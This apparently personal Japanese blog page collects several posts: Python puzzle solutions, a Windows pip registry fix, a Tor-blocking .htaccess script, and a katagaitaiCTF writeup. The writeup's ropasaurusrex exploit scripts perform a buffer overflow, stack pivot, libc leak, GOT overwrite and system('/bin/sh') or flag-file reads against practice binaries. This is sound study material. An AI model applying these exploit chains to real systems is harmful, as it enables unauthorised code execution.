TrendMicro CTF(TMCTF) 2015 Online Qualifier 解けた問題などWriteup
Trendmicro CTF 2015のOnline Qualifier(TMCTF)をやってみました。
大学の友人がCTFにやる気を出していたので、今回はいつものチームではなく大学の友人3人でチーム"sagume"として出ました。
結果としては700点ほどしかとれませんでしたが、大学の友人に教えたり教えられたりとワイワイやりながらやるCTFは楽しかったです。
以下Writeup
続きを読む1時間以内に解けなければプログラマ失格となってしまう5つの問題とやらをPythonで書いてみた
調べ物してたら見つけたので書いてみた。
1-3問までは簡単だけど4問から難易度が跳ね上がるという評価だったけど、itertoolsが強すぎて割とすぐ解けた。
モジュール使わず書こうとしたけど、時間内に書けなそうだったのでitertools使った。致命的に頭が悪い。
多分あっていると思うけど、テストケースが1つなのでなんとも言えない感。
プログラミング力つけなければいけないなと思いました。
1時間以内に解けなければプログラマ失格となってしまう5つの問題が話題に
コードはPython3です。
問題1
def m1_for(lst): s = 0 for l in lst: s += l return s def m1_while(lst): i, s = 0, 0 while i < len(lst): s += lst[i] i += 1 return s def m1_rec(lst): if len(lst) == 0: return 0 else: return lst[0] + m1_rec(lst[1:])
再帰とか久しぶりに書いた気がする
[1, 2, 3, 4, 5, 6, 7, 8, 9]
が45
になればOK
問題2
def m2(lst1, lst2): res = [] for l1, l2 in zip(lst1, lst2): res.extend([l1, l2]) return res
zip関数有能
['a', 'b', 'c'], [1, 2, 3]
が['a', 1, 'b', 2, 'c', 3]
になればOK
問題3
def m3(): res = [0, 1] for i in range(99): res.append(res[-2] + res[-1]) return res
再帰で書く方法がポピュラーなのかな?
[0, 1, 1, 2, 3, 5, 8, 13, 21, ... , 354224848179261915075]
であればOK
問題4
def m4(lst): import itertools combs = itertools.permutations(lst) results = [] for c in combs: value = int("".join([str(n) for n in c])) results.append(value) return max(results)
ここからちょっとだけ考える必要がある
はじめは先頭の数字でsortすればOKかなと思ってたけど、よく考えたら11, 12, 111, 112
みたいな2桁以上が複数入ってきた場合ダメだった。やるなら先頭だけでソートするんじゃなく、2桁目, 3桁目...も見てソートする必要がありそう。
今回はitertools.permiutations
でlistの順列を全て取り出して、その中で最大のものを出した。
[50, 2, 12, 9, 11, 111, 121, 0]
が950212121111110
になればOK(?)
- 追記:2015/09/24 18:51
早速赤い人から高速な解法があるよと教えていただいたので追記。
@dskzip 4問目、実は、入力される数字の個数が100個とかでもすぐ解9がでる方法があります(もちろん10^6桁の数字がいっぱいとかだときびしいですが
— まーす (@__math) 2015, 9月 23
l + r < r + lとなる部分を順番にswapしてソーティングするみたいです。
教えて頂いたまーすさんに圧倒的感謝
問題5
def m5(): import itertools operators = itertools.product(("+", "-", ""), repeat=8) for op in operators: exp = "" for i in range(1, 10): exp += str(i) if i != 9: exp += op[i - 1] if eval(exp) == 100: print(exp)
itertoolsサイコー
productで直積集合出して、文字列にしてevalしました。
答えは11通りらしい。
1+2+3-4+5+6+78+9 1+2+34-5+67-8+9 1+23-4+5+6+78-9 1+23-4+56+7+8+9 12+3+4+5-6-7+89 12+3-4+5+67+8+9 12-3-4+5-6+7+89 123+4-5+67-89 123+45-67+8-9 123-4-5-6-7+8-9 123-45-67+89
が出ればOK
Windowsでpipがインストールできなくて困った問題
Windowsでpython -m ensurepip
を実行するとsetuptools実行時にTypeErrorが出て困ってた問題が解決したのでメモ。バージョンはpython3.4.3。
File "C:\Python34\lib\mimetypes.py", line 348, in init db.read_windows_registry() File "C:\Python34\lib\mimetypes.py", line 255, in read_windows_registry with _winreg.OpenKey(hkcr, subkeyname) as subkey: TypeError: OpenKey() argument 2 must be str without null characters or None, not str
特に致命的な問題ではなかったのでそのまま放置していたが、pycharmでDebugを実行しようとした場合に出てきて困ったので解決に踏み出した。
mimetypes.pyでレジストリを読んでいるみたいだが、その途中で読み取れない問題が出ている模様。おそらくレジストリのキーの一部に問題があって止まっているっぽい
解決法
レジストリの一部にnullなキーがあるのが問題なので、そのキーを削除すれば直る。今回の場合はHKEY_CLASSES_ROOTに問題があるようだ(_winreg.OpenKey(hkcr, subkeyname)でエラーが出ているため)。
RegDelNullというツールをMicrosoftが出しているらしい。
レジストリキーを走査してnullなキーを削除してくれる。
C:\Downloads\Regdelnull> .\RegDelNull.exe hkcr -s
スキャンして見つかれば消していいかどうか尋ねてくるので出なくなるまで消す。私は一応regeditで確認して消した。
上記コマンドはHKEY_CLASSES_ROOTを調べる(hkcr)ので、これで直らなければhkcu, hklm, hku, hkcc
も調査する。私の場合はhklmにも見つかったので消しておいた。
とりあえずこれで直ったのでよかった。
katagaitaiCTF Level2とLevel3のWriteup
@bata_24さんのkatagaitaiCTFの問題を解いた。勉強会自体には参加できなかったが、問題をいただけたのでROPの練習がてら取り組んでみた。バイナリ初心者で、しっかりとROPChainを書いたことはなかったので、すごく良い練習になったと思う。
問題は5問だったが、3問までしか解けなかった。というわけで、忘れないうちに思考の整理とメモを兼ねてLevel2とLevel3を書いておこうと思う。Level4は解き方はなんとなく想像はついたが、時間が足りずコードに落とせなかった。
Level2 (ropasaurusrex2)
標準入力を受け付ける部分にBOFがあるのでreturnアドレスを書き換え可能。
memcpyなのでNull文字排除の必要はないようだ。
ただし、Level1は256byteのBOFが可能であったのに対して、今回は160byteに制限されている。
buffer[128]でreturnアドレスまで140byteとなっているので書き込み160byte制限では20byte=(4byte*5)しか使用できない。
また、今回の問題はASLRでNXが有効であるようなので、アドレス空間がランダマイジングされ、stack, .data, .bss, .heapでの実行はできない。よってスタック上でシェルコードを実行することはできない。
そこで資料中にもあるようにstackpivotを使用して制限を回避する。
stackpivotとは、スタックポインタ($esp)やベースポインタ($ebp)を任意の場所に設定する命令を設置し、スタックの制限を回避する手法である。
exploit
今回はbssセグメント周辺のRW可能な領域にROPchainを設置し、stackpivotによって$espと$ebpを変更し、returnによって$espに制御を移行し、シェルを起動する。
ASLRが有効であるため、libcを使用するためにアドレスのleakが必要。
まず、任意の場所にROPchainの書き込みに必要なread関数を実行するためにreturnアドレスへread関数へのアドレスを設置する。事前調査でread関数はplt(got)にあることがわかっているのでこれを使用する。
引数はSTDIN(0)、書き込み先アドレス(bss)、長さ(rop_len)である。 また、Newretはread@plt実行の後に実行される。この場合はstackpivotを行うRopgadgetを入れる。
←0x00000000 ↓buffer+140 0xffffffff→ --+---------+---------+---------+---------+---------+---------+-- | old ebp | read | Newret | 0 | bss | rop_len | --+---------+---------+---------+---------+---------+---------+--
次に、stackpivotを行うために必要なROPgadgetを探し、Newretに設置する。
stackpivotを行うためにはいくつかの方法があるようだが、今回の場合はバイナリ中に出現するleave;ret;
を使用する。
leave; ret;はmov esp, ebp; pop ebp; ret
と等価であるとのこと。$ebpに入っているアドレスが新しい$espとなる。その後、スタックトップからpopし、新しい$ebpとし、retで制御を移行する。gadgetの検索にはrp++を使用した。
leave;ret;で$espを指定するためには、$ebpの値を操作しなければならない。そのためには$ebpへ値を格納するgadgetを使用するなどが考えられるが、今回の場合、ret到達時にはold ebpを$ebpが指しているため、このアドレスを使用すれば良い。old ebpの位置に、新しい$espとなるアドレスを格納すると、leave;ret;で正しく実行することが出来る。
以下はコードの一部。p()はpack, u()はunpack()を表す。 fはsocketをファイルとして扱えるようにしたもの。
STDIN = 0x0 STDOUT = 0x1 plt_write = 0x0804830c got_write = 0x8049614 plt_read = 0x0804832c libc_write_offset = 0x000dac50 libc_system_offset = 0x00040190 pop3ret = 0x80484b6 leave_ret = 0x080482ea data = 0x8049a50 bss = 0x08049900 # rop chain buf_rop = p(plt_write) buf_rop += p(pop3ret) buf_rop += p(STDOUT) + p(got_write) + p(0x4) buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(data) + p(0x8) buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(got_write) + p(0x4) # got overwrite buf_rop += p(plt_write) buf_rop += p(0xdeadbeef) buf_rop += p(data) # bof buf = "A" * 136 buf += p(bss) buf += p(plt_read) buf += p(leave_ret) buf += p(STDIN) buf += p(bss + 0x4) buf += p(len(buf_rop)) print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop)) print "[+] len(buf_rop):", len(buf_rop) f.write(buf) # send rop code f.write(buf_rop) r = f.read(4) print "[+] leak(real_got_write):", hex(u(r)) libc_base = u(r) - libc_write_offset libc_system = libc_base + libc_system_offset print "[+] libc_base:", hex(libc_base) print "[+] libc_system:", hex(libc_system) f.write("/bin/sh\0") f.write(p(libc_system))
ROPchainはまず、write@gotのアドレスをleakし、そのアドレスからlibc内のwrite@libcのオフセットを減算し、ASLRによりランダム化されたlibcのベースアドレスを算出している。libc_baseが分かればlibc内の関数は呼ぶことができるので、system("/bin/sh")を呼び出してシェルを起動した。
ROPchain中でpop3retを使っているが、これは$espからpopを3回行い、retするgadgetである。これにより、$espのアドレスが調整され、関数の実行位置として正しい位置にセットすることができる。
"/bin/sh"の格納アドレス(data)はRW可能な領域から適当にとってきた。
また、ROPchainを設置するbssセグメントの位置によっては動いたり動かなかったりでよくわからなかった。最終的に0x08049900に置いたら動いたが何故だろう?
3段目のread@pltでは、write@gotのアドレスを、標準入力から読み取ったsystem()のアドレスにoverwriteしている。(GOToverwrite)これにより、write@pltを呼び出すことでsystem()が呼ばれる。これでシェルが起動した。
Level3 (ropasaurusrex3)
Level2と違う部分は、chrootが有効となっており、/home/roasaurusrex3を/として認識している。そのため、system("/bin/sh")を起動しても"/bin/sh"を見つけることができないため、system()によるシェルは起動できない。また、system()は内部的にexecveを使用して/bin/shにコマンドを渡す形で動作するため、どちらにせよ起動できない。
execve("/bin/sh", &["-c", command, NULL], envp)
そのため今回はシェルは起動せず、flagファイルをopenし、それをreadし、writeする方針で行った。 この場合、/bin/shが起動できないので、flagのファイル名を決定することが必要となる。
exploit (flagのファイル名の調査)
flagのファイル名の調査はscandir@libc
を使用した。これは該当のディレクトリ内のファイルのエントリを格納する関数である。
動作を確認するために、次のようなプログラムを書いた。
#include <stdio.h> #include <sys/types.h> #include <dirent.h> int main(){ struct dirent **files; scandir("./", &files, NULL, NULL); printf("%s\n", files[0]->d_name); return 0; }
これを実行するとファイル名が出力される。filesにはファイルごとの構造体が格納されているアドレスの先頭アドレス(dirent0)が入る。
--+---------+---------+---------+---------+---------+---------+-- | | dirent0 | dirent1 | dirent2 | ....... | direntN | --+---------+----+----+---------+---------+---------+---------+-- │ ┌----------------┘ ↓ +---------+---------+---------+---------+------------ ... --+------- | d_ino | d_off | d_reclen| d_type | d_name[256] | (next) +---------+---------+---------+---------+-------------... --+-------
今回欲しいのはd_nameの値であるが、オフセットの計算が面倒であるので、先頭から全て出力させることにする。 dirent全体を出力させるには、dirent0からNbyte出力させればよい。
Level2をベースにプログラムを書いた。
STDIN = 0x0 STDOUT = 0x1 plt_write = 0x0804830c got_write = 0x8049614 plt_read = 0x0804832c plt_main = 0x804831c got_main = 0x8049618 libc_write_offset = 0x000dac50 libc_open_offset = 0x00126ab0 libc_scandir_offset = 0x000b1300 libc_printf_offset = 0x0004d280 pop3ret = 0x80484b6 pop4ret = 0x80484b5 data = 0x08049620 bss = 0x08049a00 leave_ret = 0x080482ea # rop """ write@plt (leak) """ buf_rop = p(plt_write) buf_rop += p(pop3ret) buf_rop += p(STDOUT) + p(got_write) + p(0x4) """ read@plt ("./"を受信 => dataへ) """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(data) + p(0x3) """ read@plt (scandir@libcを受信 => __libc_start_main@gotへ) ::: got overwrite """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(got_main) + p(0x4) """ main@plt (scandir@libcを実行) """ buf_rop += p(plt_main) buf_rop += p(pop4ret) buf_rop += p(data) + p(bss + 100) + p(0x0) + p(0x0) """ write@plt => scandirの格納先のアドレスから一旦読みだす""" buf_rop += p(plt_write) buf_rop += p(pop3ret) buf_rop += p(STDOUT) + p(0xcafecafe) + p(0x4) """ read@plt => writeするために書き出す""" buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(bss + 140) + p(0x4) """ write@plt """ buf_rop += p(plt_write) buf_rop += p(0xdeadbeef) buf_rop += p(STDOUT) + p(0xcafebabe) + p(300) # bof buf = "A" * 136 buf += p(bss) buf += p(plt_read) buf += p(leave_ret) buf += p(STDIN) buf += p(bss + 0x4) buf += p(len(buf_rop)) print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop)) print "[+] len(buf_rop):", len(buf_rop) f.write(buf) # send rop code f.write(buf_rop) r = f.read(4) print "[+] leak(real_got_write):", hex(u(r)) libc_base = u(r) - libc_write_offset libc_scandir = libc_base + libc_scandir_offset libc_printf = libc_base + libc_scandir_offset print "[+] libc_base:", hex(libc_base) print "[+] libc_scandir:", hex(libc_scandir) print "[+] libc_printf:", hex(libc_printf) f.write("./\0") f.write(p(libc_scandir)) r = f.read(4) print "[+] scandir_heap:", hex(u(r)) f.write(p(u(r))) r = f.read(300) print r for c in r: print c + "/",
scandir後に一度stdoutへ書き出し、それをスクリプト側で受け取り、そのままstdinに書き出している。こうすることで、scandirにより格納されたアドレスが指す内容(dirent[0]のアドレス)を書き出すことが出来る(もっといい方法があれば教えて下さい...)。その後のreadで最後のwriteの引数にセットする。
これでflagファイル名を特定することができた。
exploit (flag取得)
flagファイル名が取得できたので後は読むだけである。open->read->writeの順に処理させれば良い。
read時のfdを指定する必要があるが、openで返されるファイルディスクリプタを取得する必要はない。通常は0:stdin, 1:stdout, 2:stderrが割り当てられており、新しくfdが割り当てられるたびに3から順にセットされていくため、ここでは3を指定する。
STDIN = 0x0 STDOUT = 0x1 plt_write = 0x0804830c got_write = 0x8049614 plt_read = 0x0804832c plt_main = 0x804831c got_main = 0x8049618 libc_write_offset = 0x000dac50 libc_open_offset = 0x00063dd0 pop2ret = 0x80483c2 pop3ret = 0x80484b6 pop4ret = 0x80484b5 data = 0x08049500 bss = 0x08049a00 leave_ret = 0x080482ea filename = "flag_1170037582419425558\0" # rop """ write@plt (leak) """ buf_rop = p(plt_write) buf_rop += p(pop3ret) buf_rop += p(STDOUT) + p(got_write) + p(0x4) """ read@plt (flag_filenameを受信 => dataへ """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(data) + p(len(filename)) """ read@plt ("r"を受信 => data + 32へ """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(data + 48) + p(2) """ read@plt (open@libcを受信 => __libc_start_main@gotへ) ::: got overwrite """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(STDIN) + p(got_main) + p(0x4) """ main@plt (open@libcを実行) """ buf_rop += p(plt_main) buf_rop += p(pop2ret) buf_rop += p(data) + p(data + 48) """ read@plt """ buf_rop += p(plt_read) buf_rop += p(pop3ret) buf_rop += p(3) + p(data + 52) + p(64) """ write@plt """ buf_rop += p(plt_write) buf_rop += p(0xdeadbeef) buf_rop += p(STDOUT) + p(data + 52) + p(64) # bof buf = "A" * 136 buf += p(bss) buf += p(plt_read) buf += p(leave_ret) buf += p(STDIN) buf += p(bss + 0x4) buf += p(len(buf_rop)) print "[+] bss-len(buf_rop):", hex(bss - len(buf_rop)) print "[+] len(buf_rop):", len(buf_rop) f.write(buf) # send rop code f.write(buf_rop) r = f.read(4) print "[+] leak(real_got_write):", hex(u(r)) libc_base = u(r) - libc_write_offset libc_open = libc_base + libc_open_offset print "[+] libc_base:", hex(libc_base) print "[+] libc_open:", hex(libc_open) f.write(filename) f.write("r\0") f.write(p(libc_open)) r = f.read(64) print r for c in r: print c + "/",
今回はwrite@gotではなく__libc_start_main@gotをoverwriteすることにした。
なおこのスクリプトでは、write()の代わりにprintf@libcを使用している。とくに意味は無いので、writeでも良いと思われる。
これでFlagを取得できた。
Level4
解くことはできなかったが、考えた解法として残しておこうと思う。
Level3と違う点は、write@pltとwrite@gotが塗りつぶされているため、leakができないことだ。それ以外は変わりはない。
ASLRが有効でlibc_baseが変わるのでそのままでは実行してもうまく処理が遷移しない。
解法としては、x86ではASLRのランダム範囲空間がそれほど高くなく、エントロピーが低いことを利用すると思われる。 おそらく、libc_baseのアドレスを決め打ちしてぶん回せば良いと思うのだが、ベースとなるLevel3のスクリプトの構成が上手くなく、 実装と思考に手間がかかってしまったため解けなかった。(write@pltが0xffで塗られているのに、実行すると通常通り処理された(ただしアドレスは異なる)のはなんでだろう?)
これはあくまで推測される解法であるため、実際の解法は他の方々のWriteupを参考に。
katagaitai ctf study session - setup & write-up - Pastebin.com
まとめ
バイナリ初心者なので非常に勉強になった。本格的なROPやstack pivotなど、やろうと思っていたが手が出なかった部分の学習ができてよかったと思う。解けなかったLevel4、Level5もそのうちやることにする。
.htaccessでTor経由のアクセスを遮断する
Tor使っててなんとなくTorからのアクセス遮断したくなったので書いてみた(特に意味は無い) Torの出口ノードを.htaccessで遮断するだけなので
出口ノード一覧はここにあります
http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv
一覧更新が定期的に行われるっぽいので.htaccessをその都度更新します
# -*- coding: utf-8 -*- import time import datetime from subprocess import call, PIPE, DEVNULL while True: # download Tor list cmd = "wget -nc http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv" ret = call(cmd.split(), stdout=DEVNULL, stdin=DEVNULL, stderr=DEVNULL) if ret != 0: print("download error") else: with open('/var/www/.htaccess', 'w') as fp: fp.write('Order allow,deny\n') fp.write('Allow from all\n') fp.write('<IfModule mod_rewrite.c>\n') fp.write(' RewriteEngine on\n') with open('Tor_ip_list_EXIT.csv', 'r') as torfp: list = torfp.readlines() for l in list: ip = l.replace('.', '\\.').replace('\n', '') + '$' fp.write(' RewriteCond %{REMOTE_ADDR} ^' + ip) tail = '\n' if l == list[-1] else ' [OR]\n' fp.write(tail) fp.write(' RewriteRule ^(.*) torpage.html [L]\n') fp.write('</IfModule>\n') print(datetime.datetime.now().isoformat(' '), "done") time.sleep(60 * 60 * 12) # 12じかんおき
python3で書いてます。
12時間おきにTorの出口ノード一覧をチェックし、/var/www/.htaccessを上書きします。内容はTorからのアクセスをtorpage.htmlに書き換えて返すだけです(以前のhtaccessは失われるので注意)
実行&常駐
$ screen $ python3 torlimit_htaccess.py [Ctrl + A + D]でデタッチ
出力
Order allow,deny Allow from all <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{REMOTE_ADDR} ^2\.98\.200\.182$ [OR] RewriteCond %{REMOTE_ADDR} ^2\.111\.64\.26$ [OR] (略) RewriteCond %{REMOTE_ADDR} ^217\.172\.190\.19$ [OR] RewriteCond %{REMOTE_ADDR} ^217\.210\.165\.43$ RewriteRule ^(.*) torpage.html [L] </IfModule>
http://zipsan.pw/ にTorでアクセスしてみるとしっかり遮断してくれるので一応動いてるっぽい。
他にうまい方法あるかも?